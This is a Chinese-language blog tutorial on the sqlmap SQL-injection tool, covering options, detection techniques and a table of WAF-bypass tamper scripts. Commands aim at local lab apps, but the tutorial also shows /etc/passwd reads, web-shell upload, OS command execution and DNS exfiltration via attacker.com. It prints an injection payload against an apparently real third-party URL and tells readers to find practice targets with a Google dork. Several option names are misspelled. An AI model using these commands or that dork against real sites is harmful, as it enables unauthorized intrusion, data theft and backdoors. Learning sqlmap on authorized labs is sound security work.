Sqlmap基本使用手册
最近在学习如何更好地使用sqlmap,操作是在kali上进行的,遇到了一些问题,同大家分享。
kali下sqlmap升级
进入到sqlmap的安装目录
cd /usr/share/sqlmap
初始化仓库
git init
添加sqlmap地址
git remote add origin https://github.com/sqlmapproject/sqlmap.git
最后执行sqlmap -update
SQLMAP介绍
开源sql注入漏洞检测、利用工具;
检测动态页面中get/post参数、cookie、http头
自动数据榨取
实现文件系统访问,上传木马,提权;
操作系统命令执行
引擎强大、特性丰富
xss漏洞检测
五种漏洞检测技术
1.基于布尔的盲注检测:‘ and ‘1’=‘1 .。。。
2.基于时间的盲注检测:’and (select * from (select (sleep(20)))a) – 依据服务器响应时间长短来判断
3.基于错误的检测,判断是否存在注入
4.基于UNION联合查询的检测
5.基于堆叠查询的检测:用“;”执行多个语句;
其他特性:
a.数据库直接来链接 -d
b.与burpsuit、google结合使用,支持正则表达式限定测试目标
c.get/post cookie。。。更新信息
d.支持限速,最大并发,延迟发送,
e.支持身份认证
f.数据库版本、用户、权限、hash枚举、字典破解、暴力破解表列名称
g.文件上传下载、访问windows注册表、操作系统执行命令、UDF、启动并执行存储过程
h.与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
sqlmap 命令使用:
参数 | 说明 |
---|---|
-v 3 | 可以显示注入的payload;(4,5,6可以显示HTTP请求,HTTP响应头和页面) |
-d | 链接数据库相当于数据库管理客户端 |
-u | 完整url路径 |
-l | 从日志文件中进行查找注入点 |
-x | xml文件形式提交给sqlmap |
-m | 将多个url放在一个文件里面进行 |
-g | 用google搜索,扫描 |
-c | 配置文件(将所有信息保存的到此中) |
– banner | 查看详细版本 |
其他具体命令在下面的实战演示中查看;
实践
sqlmap -u "http://192.168.71.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username -f
命令详解
-u 制定的url地址,-p指定扫描的对象,-f检查数据库中的
指纹(fingerprint) 显示mysql版本等;
-p username –users :当前数据库有那些账号
– banner 查看详细版本
–dbs 查看所用库
–schema 源数据库和源数据表
-a 查看数据库基本的信息(all)
直接链接数据库,:sqlmap -d ‘mysql://root:@192.168.71.128:3306/dvwa’ –users/-a
POST方法(http头信息,代理保存日志文件):
使用http请求文件(burpsuit)
将请求头存在一个txt文件中(txt文件做好用gedit编辑保存,然后
用sqlmap -r *.txt –dbs进行检测
还可以通过burpsuit的获取og.txt(option–>misc–>log–>proxy)文件
进行sqlmap检测:sqlmap -l log.txt -p username
可以通过https:sqlmap -u “https://1.01.1.1/a.php?id=1:8843” –force-ssl
扫描配置文件
sqlmap -c sqlmap.conf
sqlmap命令request部分
数据段:–data
get/post 都适用
sqlmap -u "http://192.168.188.128/mutillidae/index.php" --data="page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"
变量分隔符:当分隔符不是&,可以使用–param-del命令
sqlmap -u "http://192.168.188.128/mutillidae/index.php" --data="page=user-info.php;username=1;password=1;user-info-php-submit-button=View+Account+Details" --param-del=";" -f
cookie头: –cookie
web应用需要基于cookie的身份认证(需要登陆后检查是否有注入的情况);检查cookie中的注入点(level必须>=2 才#,sqlmap自动测试);Set-Cookie(更新新的cookie)/-drop-set-cookie(不更新cookie)
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数
sqlmap -u "http://192.168.188.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=8deb3a04fea16ebe956b2dd435bf88f0" --dbs
vulnerable:易受攻击的,有注入;
–user-agent(默认情况不会随机)
–random-agent (将会在指定文件(/usr/share/sqlmap/txt/user-agents.txt)中随机选取)
sqlmap -u "http://192.168.188.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=8deb3a04fea16ebe956b2dd435bf88f0" --random-agent --dbs
也可以自己写:–user-agent=”aa”
服务器端有可能用APP/WAF/.PF/IDS进行过滤异常user-agent产生报错信息
sqlmap level>=3可以扫描是否有user-agent注入漏洞;
Host头:
–host=“xxx ”
–level=5可以检测host是否存在sql注入漏洞
referer头:(显示跳转前的网址)
–referer=“xxx”
–level>=3可以检测referer是否存在sql注入漏洞
headers自定义的头:
–headers=”Host:www.abs.com\nUser-Agent:jdsklfjjfds\nxxx”(头的名字必须严格大小写,规定每个头单独一行(加“\n”换行)
method:(指定http方法进行sqlmap)
–method=GET/POST
基于HTTP协议的身份验证(Basic、Digest、NTLM)
sqlmap -u “xxx” –auth-type Basic –auth-cred “user:pass”
基于客户端证书认证(网银)然后再sql注入
–auth-cert/–auth-file + PEM格式的证书
(含有私钥的PEM格式证书文件、PEM格式的证书链文件)
http(s)代理
–proxy=“http://127.0.0.1:8087”
–proxy-cred=”name:pass”(链接代理需要的账户密码)
实战练习:在搜索引擎中输入:inurl:.php?id…找这样的网站
–ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标
–delay
每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟
–timeout
请求超时时间,浮点数,默认时间为30秒
–retries:
http(s)链接超时重试次数,默认3次
–randomize:
长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
sqlmap -u “http://xxx.php?id=100” –randomize=”id”
–scope(范围)
过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -l burp.log –scop=”(www)?.target.(com|net|rog)” –level=”3” –dbs 检测user-agent中的注入点
–safe-url/–safe-freq
检测和盲注阶段会产生大量失败情况,服务器端可能因此销毁session,所以每发送–safe-freq次注入请求后,发送一次正常请求
–skip-urlencode(不需要输入任何参数)
默认Get方法会对传输的内容进行编码,某些web服务器不遵守RFC标准编码,使用原始字符提交数据,就需要跳过urlencode
–eval
每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
slqmap -u “http://xxx?id-xxx&hash=xxx” –eval=”improt hashlib;hash=hashlib.md5(id).hexdigest()”
优化性能(OPTIMIZATION)
–predict-output
1.根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
2.版本名、用户名、密码、Privileges(优先级)、role、数据库名称、表名、列名
3.与–threads参数不兼容
4.统计表的位置:/usr/share/sqlmap/txt/common-outputs.txt
–keep-alive
使用http(s)长链接,性能好(正常情况,每访问网站的元素都会产生新的连接关系)
与–proxy参数不兼容
长连接避免重复建立链接的网络开销,但大量长连接会严重占用服务器资源
–null-connection
只获取相应页面的大小值,而非页面具体内容
通常用于盲注判断,真/假,降低网络带宽消耗
与–text-only 参数不兼容(基于页面内容的比较盘判断 真/假)
以上三个可以通过-o命令全部打开
–threads
最大并发线程
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
默认值为1,建议不要超过10,否则可能影响站点可用性
与–predict-output参数不兼容
INJECTION
-p
指定扫描的参数
如:-p “user-agent,referer”
–skip
排除指定的扫描参数
如:–level=5 –skip=”id,user-agent”
URI注入点
sqlmap -u “http://xxx/param1/value1/param2/value2/”(不使用?来分隔键/值对时,通过人工分辨出那个是参数名那个是变量,在变量的后面加上,进行正常playload检测注入即可)
–dbms=“mysql”(可以加版本号)
提高查找数据库类型的效率
–os指定服务器系统,提高sqlmap效率
–invalid-bignum/–invalid-logical
通常sqlmap使用负值使参数取值失效 id=13–>id=-13
bignum 使用大数使参数失效 id=99999999
logical 使用布尔判断使取值失效 id=13 AND 18=19
–no-cast
榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
老版本mysql数据库需要开启此开关
–no-escape
出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串:select ‘foo’ –>select char(102)+char(111)+char(111)
本参数将关闭此功能
–prefix/–suffix(前缀和后缀)
–tamper
混淆脚本,用于绕过应用层过滤、IPS、WAF
sqlmap -u “http://xxx?id=1” –tamper=”*.py” -v 3 –dbs
空格被过滤可以用space2comment.py,大小写敏感可以用randomcase.py等
DETECTION(检测)
–level
1-5级(默认1)
/usr/share/sqlmap/xml/payloads
–risk
1-4(默认1/无害)
risk升高可造成数据被篡改风险(update)
–string –not-string –regexp –code –text-only –titles
页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要认为指定标识真假的字符串
TECHNIQUES SQL注入检测类型
默认使用全部技术
B、E、U、S、T
当需要注入文件系统、操作系统、注册表时候,必须使用S(Stacked queries)
–time-sec
基于时间的注入检测相应延迟时间(默认5秒)
–union-cols
默认联合查询1-10列,随–level增加最多支持50列
–union-char
联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
例如:–union-char 123
–dns-domain
攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
例如:–dns-domain attacker.com
–second-order
在一个页面注入的结果,从另一个页面体现出来
例如:–second-order http://xxx
FINGWEPEINT(指纹信息)
-f,–fingerprint,-b,–banner
数据库管理系统指纹信息(版本信息)
DBNS、操作系统、架构、补丁
ENUMERATION(枚举)
–currnet-user
–current-db
–hostname
–users
–privileges -U username(CU当前账号)
–roles
–dbs
–tables,–exclude-sysdbs(除去系统层面的数据库) -D dvwa
-T user -D dvwa -C user –columns
–count 表中一共有多少条记录
–batch sqlmap执行过程中自动选择选项
–schema –batch –exclude-sysdbs 元数据(使用默认选项)
Dump (导出)显示数据
–dump -C -T -D –start –stop(从那一条开始到那一条暂停)
–dump-all –exclude-sysdbs
–sql-query“select * from users”
数据将会保存到本地
BRUTE FORCE(无权读取库时候,暴力破解)
–common-tables
–common-columns
UDF INJECTION(用户自定义函数)
可以执行操作系统层面的命令
编译共享库创建并上传至DB Server,以此生成UDF实现高级注入
linux:shared object
windows:DLL
FILE SYSTEM
--file-read=“/etc/passwd"读取服务器中文件
--file-write="shell.php" --file-dest="/tmp/shell.php"上传文件到目标服务器
---
OS(通过sqlmap执行系统命令)
mysql、postgresql
上传共享库并生成sys_exec()、sys_eval()两个UDF
mssql
xp_cmdshell存储过程(有就用,禁了启、没有建)
–sql-shell
–os-shell
–os-cmd
WINDOWS REGISTORY(windows注册表)
–reg-read
–reg-add
–reg-del
–reg-key
–reg-value
–reg-data
–reg-type
sqlmap -u “http://xxx” –reg-add –reg-key=”xxx” –reg-value=”xxx” –reg-type=”xxx” –reg-data=”xxx”
GENERAL
-s:sqlite会话文件保存位置
-t:记录流量文件保存位置
–charset:强制字符编码
–crawl:从起始位置爬站深度
–csv-del:dump数据默认存于“,”分割的csv文件中,可以通过–csv-del指定其他分隔符
–dbms-cred:指定数据库账号
–flush-session:清空session(会话)
–force-ssl 支持(https协议)
–fresh-queries:忽略session查询结果(重新查询)
–hex:dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原
–output-dir=/tmp :指定输出路径
–parse-erros:分析和显示数据库内建报错信息
–save 将命令保存成配置文件
-z:参数助记符
–answer指定答案给batch进行自动化批处理
–check-waf:检测WAF/IPS/IDS
–hpp:绕过WAF/IPS/IDS的有效方法
尤其对ASP/IIS和ASP.NET/IIS
–identifuy-waf:彻底的waf/ips/ids检查
支持30多种产品
–mobile:模拟智能手机设备
–purge-putput:清除output文件夹
–smart:当有大量检测目标时,只选择基于错误的检测结果
–wizard:导向作用(一步步指导怎么做)
https://www.tchg.online/wp-content/1.php
?id=-1’)//union//select/**/user(),2,3%23
“%23”相当于“#”号,将后面语句注释掉,必须使用%23表示
tamper脚本函数
支持的数据库 | 编号 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|---|
all | 1 | apostrophemask.py | 用utf8代替引号 | (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’ |
2 | base64encode.py | 用base64编码替换 | (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ | |
3 | multiplespaces.py | 围绕SQL关键字添加多个空格 | (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’ | |
4 | space2plus.py | 用+替换空格 | (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’ | |
5 | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters | (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’ | |
6 | space2randomblank.py | 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 | (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’ | |
7 | unionalltounion.py | 替换UNION ALL SELECT UNION SELECT | (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’ | |
8 | securesphere.py | 追加特制的字符串 | (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’” | |
mssql | 1 | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | ‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’ |
2 | equaltolike.py | like 代替等号 |
|
|
3 | space2mssqlblank.py(mssql) | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers | |
4 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
5 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
6 | percentage.py | asp允许每个字符前面添加一个%号 |
|
|
7 | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | (‘1 AND 9227=9227– ‘) ‘1 AND 9227=9227– sp_password’ | |
8 | charencode.py | url编码 |
|
|
9 | randomcase.py | 随机大小写 |
|
|
10 | charunicodeencode.py | 字符串 unicode 编码 |
|
|
11 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
|
|
mysql >= 5.1.13 | 1 | equaltolike.py | like 代替等号 |
|
2 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ | |
3 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
4 | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’ | |
5 | space2mssqlhash.py | 替换空格 | (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’ | |
6 | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’ | |
7 | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users | |
8 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
9 | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’ | |
10 | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’ | |
11 | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like | (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’ | |
12 | percentage.py | asp允许每个字符前面添加一个%号 |
|
|
13 | charencode.py | url编码 |
|
|
14 | randomcase.py | 随机大小写 |
|
|
15 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
|
|
16 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
|
|
17 | charunicodeencode.py | 字符串 unicode 编码 |
|
|
18 | versionedmorekeywords.py | 注释绕过 |
|
|
MySQL < 5.1 | 19 | halfversionedmorekeywords.py | 关键字前加注释 |
|
20 | halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 | 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa” | |
MySQL >= 5.1.13 | 21 | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 |
|
Oracle | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
4 | charencode.py | url编码 |
|
|
5 | randomcase.py | 随机大小写 |
|
|
6 | charunicodeencode.py | 字符串 unicode 编码 |
|
|
7 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
|
|
PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’ |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’ | |
3 | between.py | 用between替换大于号(>) | (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’ | |
4 | percentage.py | asp允许每个字符前面添加一个%号 |
|
|
5 | charencode.py | url编码 |
|
|
6 | randomcase.py | 随机大小写 |
|
|
7 | charunicodeencode.py | 字符串 unicode 编码 |
|
|
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
|
|
Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | (‘1 AND 1=1’) ‘1 AND 1=1%00’ |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) |
|
|
unmagicquotes.py | 宽字符绕过 GPC addslashes |
|
||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |